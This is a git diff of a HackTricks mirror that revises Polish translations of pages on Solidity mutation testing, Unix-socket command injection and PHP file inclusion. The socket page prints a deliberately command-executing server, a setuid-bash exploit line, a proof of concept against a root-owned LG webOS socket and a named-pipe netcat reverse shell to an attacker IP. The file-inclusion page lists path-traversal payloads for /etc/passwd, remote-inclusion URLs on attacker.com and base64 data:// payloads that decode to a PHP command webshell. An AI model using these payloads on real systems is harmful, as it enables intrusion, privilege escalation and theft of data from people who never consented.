mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/blockchain/smart-contract-security/mutation-testing
This commit is contained in:
parent
6115c78166
commit
6071c56438
@ -1,14 +1,14 @@
|
||||
# Mutation Testing dla Solidity z Slither (slither-mutate)
|
||||
# Mutation Testing for Solidity with Slither (slither-mutate)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mutation testing "tests your tests" poprzez systematyczne wprowadzanie drobnych zmian (mutantów) w twoim kodzie Solidity i ponowne uruchamianie zestawu testów. Jeśli test się nie powiedzie, mutant zostaje zabity. Jeśli testy nadal przechodzą, mutant przeżywa, ujawniając ślepy punkt w twoim zestawie testów, którego pokrycie linii/gałęzi nie wykryje.
|
||||
Mutation testing "tests your tests" poprzez systematyczne wprowadzanie małych zmian (mutantów) w Twoim kodzie Solidity i ponowne uruchamianie zestawu testów. Jeśli test zawiedzie, mutant zostaje zabity. Jeśli testy nadal przejdą, mutant przetrwa, ujawniając ślepą plamę w Twoim zestawie testów, której pokrycie linii/gałęzi nie wykryje.
|
||||
|
||||
Kluczowa myśl: Pokrycie pokazuje, że kod został wykonany; mutation testing pokazuje, czy zachowanie jest faktycznie sprawdzone.
|
||||
Key idea: Pokrycie pokazuje, że kod został wykonany; testowanie mutacyjne pokazuje, czy zachowanie zostało faktycznie zweryfikowane.
|
||||
|
||||
## Dlaczego pokrycie może wprowadzać w błąd
|
||||
|
||||
Rozważ ten prosty warunek progowy:
|
||||
Rozważ to proste sprawdzenie progu:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
@ -18,39 +18,39 @@ return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
Testy jednostkowe, które sprawdzają tylko wartość poniżej oraz wartość powyżej progu, mogą osiągnąć 100% pokrycia linii/gałęzi, jednocześnie nie asercjonując granicy równości (==). Refaktoring do `deposit >= 2 ether` nadal przejdzie takie testy, cicho łamiąc logikę protokołu.
|
||||
Testy jednostkowe, które sprawdzają tylko wartość poniżej i wartość powyżej progu, mogą osiągnąć 100% pokrycia linii/gałęzi, jednocześnie nie asercjonując granicy równości (==). Refaktoryzacja do `deposit >= 2 ether` nadal przejdzie takie testy, cicho łamiąc logikę protokołu.
|
||||
|
||||
Mutation testing ujawnia tę lukę, mutując warunek i weryfikując, że testy nie przejdą.
|
||||
Mutation testing ujawnia tę lukę przez mutowanie warunku i weryfikowanie, że testy nie przechodzą.
|
||||
|
||||
## Najczęstsze operatory mutacji w Solidity
|
||||
## Typowe operatory mutacji w Solidity
|
||||
|
||||
Slither’s mutation engine stosuje wiele drobnych modyfikacji zmieniających semantykę, takich jak:
|
||||
- Zamiana operatorów: `+` ↔ `-`, `*` ↔ `/`, itp.
|
||||
Silnik mutacji Slither stosuje wiele drobnych edycji zmieniających semantykę, takich jak:
|
||||
- Zamiana operatorów: `+` ↔ `-`, `*` ↔ `/`, itd.
|
||||
- Zamiana przypisania: `+=` → `=`, `-=` → `=`
|
||||
- Zamiana stałych: niezerowe → `0`, `true` ↔ `false`
|
||||
- Negacja/zamiana warunku w `if`/pętlach
|
||||
- Komentowanie całych linii (CR: Comment Replacement)
|
||||
- Zamiana linii na `revert()`
|
||||
- Zamiany typów danych: np. `int128` → `int64`
|
||||
- Zamiana stałych: wartość niezerowa → `0`, `true` ↔ `false`
|
||||
- Negacja/zamiana warunku wewnątrz `if`/pętli
|
||||
- Zakomentowanie całych linii (CR: Comment Replacement)
|
||||
- Zastąpienie linii wywołaniem `revert()`
|
||||
- Zamiana typów danych: np. `int128` → `int64`
|
||||
|
||||
Cel: Zabić 100% wygenerowanych mutantów lub uzasadnić ocalałe przypadki jasnym wyjaśnieniem.
|
||||
Cel: Wyeliminować 100% wygenerowanych mutantów lub uzasadnić przeżycie poszczególnych mutantów jasnym wyjaśnieniem.
|
||||
|
||||
## Uruchamianie Mutation testing za pomocą slither-mutate
|
||||
## Uruchamianie mutation testing za pomocą slither-mutate
|
||||
|
||||
Wymagania: Slither v0.10.2+.
|
||||
|
||||
- Wypisz opcje i mutatory:
|
||||
- Wyświetl opcje i mutatory:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Przykład Foundry (przechwyć wyniki i zachowaj pełny log):
|
||||
- Przykład Foundry (zapisz wyniki i zachowaj pełny log):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- Jeśli nie używasz Foundry, zamień `--test-cmd` na komendę uruchamiającą testy (np. `npx hardhat test`, `npm test`).
|
||||
- Jeśli nie używasz Foundry, zastąp `--test-cmd` sposobem uruchamiania testów (np. `npx hardhat test`, `npm test`).
|
||||
|
||||
Artefakty i raporty są domyślnie przechowywane w `./mutation_campaign`. Niewykryte (przetrwałe) mutanty są tam kopiowane do wglądu.
|
||||
Artyfakty i raporty są domyślnie zapisywane w `./mutation_campaign`. Mutanty, które nie zostały wykryte (przetrwałe), są tam kopiowane do inspekcji.
|
||||
|
||||
### Zrozumienie wyników
|
||||
|
||||
@ -93,24 +93,24 @@ A mutation campaign during an audit of the Arkis DeFi protocol surfaced survivor
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
Zakomentowanie przypisania nie złamało testów, co dowodzi brakujących asercji stanu po wykonaniu. Przyczyna: kod zaufał kontrolowanej przez użytkownika zmiennej `_cmd.value` zamiast walidować rzeczywiste transfery tokenów. Atakujący mógłby rozdesynchronizować oczekiwane i rzeczywiste transfery, aby opróżnić środki. Skutek: ryzyko wysokiej wagi dla wypłacalności protokołu.
|
||||
Zakomentowanie przypisania nie zepsuło testów, co dowodzi braku asercji stanu końcowego. Przyczyna: kod ufał kontrolowanej przez użytkownika wartości `_cmd.value` zamiast weryfikować rzeczywiste transfery tokenów. Atakujący mógłby wprowadzić niespójność między oczekiwanymi a faktycznymi transferami i wyprowadzić środki. Skutek: ryzyko wysokiej wagi dla wypłacalności protokołu.
|
||||
|
||||
Wytyczne: Traktuj mutanty, które przetrwały i wpływają na transfery wartości, księgowość lub kontrolę dostępu, jako wysokiego ryzyka, dopóki nie zostaną wyeliminowane.
|
||||
Wskazówka: Traktuj przetrwałe mutanty, które wpływają na transfery wartości, księgowość lub kontrolę dostępu, jako wysokie ryzyko, dopóki nie zostaną wyeliminowane.
|
||||
|
||||
## Praktyczna lista kontrolna
|
||||
## Practical checklist
|
||||
|
||||
- Uruchom ukierunkowaną kampanię:
|
||||
- Przeprowadź ukierunkowaną kampanię:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- Przejrzyj mutanty, które przetrwały, i napisz testy/inwarianty, które zawiodłyby przy zmienionym zachowaniu.
|
||||
- Zweryfikuj salda, podaż, uprawnienia i zdarzenia.
|
||||
- Dodaj testy brzegowe (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- Zastąp nierealistyczne mocki; zasymuluj tryby awarii.
|
||||
- Powtarzaj, aż wszystkie mutanty zostaną wyeliminowane lub uzasadnione komentarzami i wyjaśnieniem.
|
||||
- Przeprowadź triage przetrwałych mutantów i napisz testy/inwarianty, które zawiodłyby przy zmienionym zachowaniu.
|
||||
- Asercje sald, podaży, autoryzacji i zdarzeń.
|
||||
- Dodaj testy graniczne (`==`, przepełnienia/underflow, adres zero, ilość zero, puste tablice).
|
||||
- Zastąp nierealistyczne mocki; symuluj tryby awarii.
|
||||
- Iteruj, aż wszystkie mutanty zostaną wyeliminowane lub udokumentowane komentarzami i uzasadnieniem.
|
||||
|
||||
## Źródła
|
||||
## References
|
||||
|
||||
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# Socket Command Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Przykład wiązania gniazda z użyciem Pythona
|
||||
## Socket binding — przykład w Pythonie
|
||||
|
||||
W poniższym przykładzie **tworzone jest gniazdo unixowe** (`/tmp/socket_test.s`), a wszystko, co **otrzymane**, będzie **wykonywane** przez `os.system`. Wiem, że nie znajdziesz tego w rzeczywistości, ale celem tego przykładu jest zobaczenie, jak wygląda kod używający gniazd unixowych oraz jak zarządzać wejściem w najgorszym możliwym przypadku.
|
||||
W poniższym przykładzie tworzony jest **unix socket** (`/tmp/socket_test.s`), a wszystko, co zostanie **odebrane**, zostanie **wykonane** przez `os.system`. Wiem, że nie znajdziesz tego w rzeczywistych systemach, ale celem tego przykładu jest pokazanie, jak wygląda kod używający unix socketów oraz jak poradzić sobie z wejściem w najgorszym możliwym przypadku.
|
||||
```python:s.py
|
||||
import socket
|
||||
import os, os.path
|
||||
@ -24,15 +26,50 @@ print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
**Wykonaj** kod używając pythona: `python s.py` i **sprawdź, jak gniazdo nasłuchuje**:
|
||||
**Uruchom** kod za pomocą python: `python s.py` i **sprawdź, jak socket nasłuchuje**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
**Eksploatacja**
|
||||
**Exploit**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
## Studium przypadku: eskalacja wyzwalana sygnałem przez socket UNIX należący do root (LG webOS)
|
||||
|
||||
Niektóre uprzywilejowane demony wystawiają socket UNIX należący do root, który akceptuje nieufne dane wejściowe i powiązuje uprzywilejowane akcje z identyfikatorami wątków (thread-IDs) oraz sygnałami. Jeśli protokół pozwala nieuprzywilejowanemu klientowi wpłynąć na to, który natywny wątek jest celem, możesz być w stanie wywołać uprzywilejowaną ścieżkę kodu i eskalować.
|
||||
|
||||
Observed pattern:
|
||||
- Połącz się z socketem należącym do root (np. /tmp/remotelogger).
|
||||
- Utwórz wątek i uzyskaj jego natywny thread id (TID).
|
||||
- Wyślij TID (spakowany) oraz padding jako żądanie; odbierz potwierdzenie.
|
||||
- Dostarcz konkretny sygnał do tego TID, aby wywołać uprzywilejowane zachowanie.
|
||||
|
||||
Minimal PoC sketch:
|
||||
```python
|
||||
import socket, struct, os, threading, time
|
||||
# Spawn a thread so we have a TID we can signal
|
||||
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
|
||||
tid = th.native_id # Python >=3.8
|
||||
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
s.connect("/tmp/remotelogger")
|
||||
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
||||
s.recv(4) # sync
|
||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||
```
|
||||
Aby zamienić to w root shell, można użyć prostego wzorca named-pipe + nc:
|
||||
```bash
|
||||
rm -f /tmp/f; mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||
```
|
||||
Uwagi:
|
||||
- Ten rodzaj błędów powstaje z zaufania do wartości pochodzących ze stanu klienta bez uprawnień (TIDs) i powiązywania ich z uprzywilejowanymi handlerami sygnałów lub logiką.
|
||||
- Wzmocnij poprzez wymuszanie uwierzytelnienia na socket, walidację formatów wiadomości oraz odseparowanie uprzywilejowanych operacji od zewnętrznie dostarczanych identyfikatorów wątków.
|
||||
|
||||
## Referencje
|
||||
|
||||
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,22 +4,22 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Plik jest ładowany z zewnętrznego serwera (Najlepiej: możesz napisać kod, a serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod, a serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Serwer ładuje lokalny plik.
|
||||
|
||||
Podatność występuje, gdy użytkownik w jakiś sposób kontroluje plik, który zostanie załadowany przez serwer.
|
||||
Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który serwer ma załadować.
|
||||
|
||||
Podatne funkcje **PHP**: require, require_once, include, include_once
|
||||
Podatne **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
Interesujące narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Przydatne narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesujące - LFI2RCE pliki
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Łącząc kilka \*nix LFI list i dodając więcej ścieżek, stworzyłem tę:**
|
||||
**Łącząc kilka list LFI dla *nix i dodając więcej ścieżek stworzyłem tę:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
Spróbuj także zamienić `/` na `\`\
|
||||
Spróbuj także dodać `../../../../../`
|
||||
|
||||
Lista, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy podatność istnieje) znajduje się [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Lista wykorzystująca kilka technik do znalezienia pliku /etc/password (by sprawdzić, czy luka istnieje) jest dostępna [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Połączenie różnych wordlists:
|
||||
Scalanie różnych wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -43,11 +43,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
Spróbuj także zamienić `/` na `\`\
|
||||
Spróbuj także usunąć `C:/` i dodać `../../../../../`
|
||||
|
||||
Lista, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy podatność istnieje) znajduje się [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Lista wykorzystująca kilka technik do znalezienia pliku /boot.ini (by sprawdzić, czy luka istnieje) jest dostępna [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Sprawdź listę LFI dla Linux.
|
||||
Sprawdź listę LFI dla linux.
|
||||
|
||||
## Podstawowe LFI i obejścia
|
||||
|
||||
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Bypass dopisywania dodatkowych znaków na końcu podanego ciągu (bypass of: $\_GET\['param']."php")
|
||||
Ominięcie dopisywania dodatkowych znaków na końcu podanego ciągu (bypass of: $_GET['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
To zostało **rozwiązane od PHP 5.4**
|
||||
To **zostało naprawione w PHP 5.4**
|
||||
|
||||
### **Kodowanie**
|
||||
|
||||
Możesz użyć niestandardowych enkodowań, takich jak double URL encode (i inne):
|
||||
Możesz użyć niestandardowych kodowań, takich jak double URL encode (i inne):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Z istniejącego katalogu
|
||||
### Z istniejącego folderu
|
||||
|
||||
Może back-end sprawdza ścieżkę katalogu:
|
||||
Może back-end sprawdza ścieżkę folderu:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Badanie katalogów systemu plików na serwerze
|
||||
### Eksploracja katalogów systemu plików na serwerze
|
||||
|
||||
System plików serwera można przeszukiwać rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten polega na ustaleniu głębokości katalogu i sprawdzaniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:
|
||||
System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu oraz sprawdzaniu istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:
|
||||
|
||||
1. **Determine Directory Depth:** Ustal głębokość bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy serwerów opartych na Linux). Przykładowy URL może być zbudowany następująco, wskazując głębokość równą trzy:
|
||||
1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu poprzez pomyślne pobranie pliku `/etc/passwd` (dotyczy serwerów na systemie Linux). Przykładowy URL może być zbudowany w następujący sposób, wskazując głębokość trzy:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Skanuj foldery:** Dodaj nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia depth o jeden:
|
||||
2. **Sondowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Zinterpretuj wyniki:** Odpowiedź serwera wskazuje, czy katalog istnieje:
|
||||
- **Błąd / Brak wyjścia:** Katalog `private` prawdopodobnie nie istnieje w podanej lokalizacji.
|
||||
- **Zawartość `/etc/passwd`:** Obecność katalogu `private` zostaje potwierdzona.
|
||||
4. **Rekurencyjne badanie:** Odkryte katalogi można dalej sprawdzać pod kątem podkatalogów lub plików używając tej samej techniki lub tradycyjnych Local File Inclusion (LFI).
|
||||
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
|
||||
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
|
||||
- **Zawartość `/etc/passwd`:** Potwierdzono obecność folderu `private`.
|
||||
4. **Eksploracja rekurencyjna:** Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
|
||||
Aby przeszukać katalogi w innych miejscach systemu plików, dostosuj payload odpowiednio. Na przykład, żeby sprawdzić czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog jest na głębokości 3), użyj:
|
||||
Aby przeszukać katalogi w innych lokalizacjach systemu plików, dostosuj payload odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog ma głębokość 3), użyj:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation jest metodą stosowaną do manipulowania ścieżkami plików w aplikacjach webowych. Często używana do uzyskania dostępu do plików objętych ograniczeniami przez obejście pewnych zabezpieczeń, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która po zmodyfikowaniu przez mechanizm bezpieczeństwa nadal wskazuje na żądany plik.
|
||||
Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.
|
||||
|
||||
W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na sposób działania systemu plików. Na przykład:
|
||||
W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na naturę systemu plików. Na przykład:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, oraz `/etc/passwd/` są traktowane jako ta sama ścieżka.
|
||||
- Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
|
||||
- Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskujemy dostęp.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka.
|
||||
- Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (co daje `passwd/`) nie zmienia docelowego pliku.
|
||||
- Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego jest uzyskiwany dostęp.
|
||||
|
||||
Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego wrażliwe dane (informacje o kontach użytkowników):
|
||||
Poniższe przykłady pokazują, jak wykorzystać path truncation do dostępu do `/etc/passwd` — częstego celu ze względu na jego wrażliwe treści (informacje o kontach użytkowników):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
W tych scenariuszach liczba potrzebnych sekwencji `../` może wynosić około 2027, ale liczba ta może się różnić w zależności od konfiguracji serwera.
|
||||
W tych scenariuszach liczba wymaganych traversals może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Sekwencje `../` połączone z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując dołączone przez serwer ciągi.
|
||||
- **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebną do dotarcia do katalogu root, a następnie do `/etc/passwd`, upewniając się, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, a pożądana ścieżka (`/etc/passwd`) pozostanie nienaruszona.
|
||||
- **Starting with a Fake Directory**: Częstą praktyką jest rozpoczynanie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest stosowana jako środek ostrożności lub by spełnić wymagania logiki parsowania ścieżek serwera.
|
||||
- **Using Dot Segments and Additional Characters**: Sekwencje traversal (`../`) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do poruszania się po systemie plików, skutecznie ignorując przez serwer dołączane ciągi.
|
||||
- **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebnych do dotarcia do katalogu root, a następnie do `/etc/passwd`, upewniając się, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, a żądana ścieżka (`/etc/passwd`) pozostanie nienaruszona.
|
||||
- **Starting with a Fake Directory**: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. `a/`). Ta technika jest używana jako środek ostrożności lub aby spełnić wymagania logiki parsowania ścieżek po stronie serwera.
|
||||
|
||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||
Podczas stosowania path truncation techniques kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a często konieczne są testy, aby znaleźć najbardziej efektywną metodę.
|
||||
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
**Ta podatność została naprawiona w PHP 5.3.**
|
||||
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
W PHP jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, żeby to działało, i w takim przypadku możesz dołączyć plik PHP z twojego serwera i uzyskać RCE:
|
||||
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być ustawione na **On**, aby to działało, i w takim przypadku możesz dołączyć plik PHP z twojego serwera i uzyskać RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz użyć np. protokołu data z base64, aby zdekodować b64 kod PHP i egt RCE:
|
||||
Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron, [zgodnie z tym wpisem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć protokołu data z base64, aby zdekodować b64 PHP code i uzyskać RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tym, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a zatem wykonany).
|
||||
> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ atakujący potrzebował łańcucha kończącego się na `.txt`, więc łańcuch kończy się tym, a po dekodowaniu b64 ta część zwróci jedynie śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany).
|
||||
|
||||
Inny przykład **nie używający protokołu `php://`** wyglądałby tak:
|
||||
Inny przykład **nieużywający protokołu `php://`** to:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Element root w Pythonie
|
||||
|
||||
W Pythonie w kodzie takim jak ten:
|
||||
W Pythonie, w kodzie takim jak ten:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Jeśli użytkownik poda **ścieżkę bezwzględną** do **`file_name`**, **poprzednia ścieżka jest po prostu usuwana**:
|
||||
Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
To zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
To jest zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Jeżeli komponent jest ścieżką absolutną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką absolutną.
|
||||
> Jeśli składnik jest ścieżką bezwzględną, wszystkie poprzednie składniki są odrzucane i łączenie kontynuuje się od składnika będącego ścieżką bezwzględną.
|
||||
|
||||
## Listowanie katalogów w Java
|
||||
## Java Listowanie katalogów
|
||||
|
||||
Wygląda na to, że jeśli masz Path Traversal w Java i **poprosisz o katalog** zamiast pliku, to **zostanie zwrócone listowanie katalogu**. To nie będzie się dziać w innych językach (o ile wiem).
|
||||
Wygląda na to, że jeśli masz Path Traversal w Java i **poprosisz o katalog** zamiast pliku, zostanie zwrócone **listowanie katalogu**. To nie będzie miało miejsca w innych językach (o ile wiem).
|
||||
|
||||
## Top 25 parametrów
|
||||
|
||||
Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) (pochodzące z [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
